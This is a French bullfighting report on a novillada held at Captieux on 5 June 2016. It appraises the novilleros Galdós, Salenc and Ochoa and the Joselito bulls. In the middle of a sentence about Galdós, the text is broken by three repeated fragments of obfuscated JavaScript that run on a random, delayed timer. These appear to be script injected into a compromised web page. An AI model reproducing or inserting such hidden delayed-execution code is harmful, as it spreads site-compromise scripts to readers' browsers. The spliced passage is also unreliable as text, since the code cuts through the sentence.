LES ACQUIS ET LA FRAICHEUR

Captieux, dimanche 5 juin 2016. Cartel bien construit avec d’une part un novillero dont c’était la dernière prestation avant son alternative et deux autres qui débutaient en piquée et avaient déjà interpellé en non piquée. Devant eux une très belle novillada de Joselito qui leur permit de s’exprimer.

Le moins bien loti fut le plus expérimenté, le péruvien Joaquín Galdós. Il eut en premier un toro remplaçant, car le titulaire s’était amoché les cornes, très noble mais trop faible, mais ensuite il se montra très au-dessus de son toro suivant. Personnellement, j’adore voir ces novilleros qui ont entre leurs mains toutes les clés pour devenir matadors, le novillo ne leur suffit plus, ils demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andent autre chose. Galdós fit preuve de son temple, de la qualité de son toreo, très pausé, de son intelligence aussi mais il échoua à l’épée et n’obtint aucun trophée.

Adrien Salenc eut un très bon lot entre ses mains, notamment le cinquième novillo qui faisait l’avion des deux côtés. On le vit courageux, volontariste et ses compatriotes le récompensèrent à chaque novillo d’une oreille ce qui lui permit de sortir a hombros.

Carlos Ochoa avait triomphé cette année aux non piquées de Madrid et il fit une très belle impression. Pour l’instant peu doué à la cape, il montra bien plus de talent à la muleta en cherchant souvent la profondeur et toujours la longueur des passes. Un novillero très prometteur et qui amène comme il se doit beaucoup de fraîcheur.

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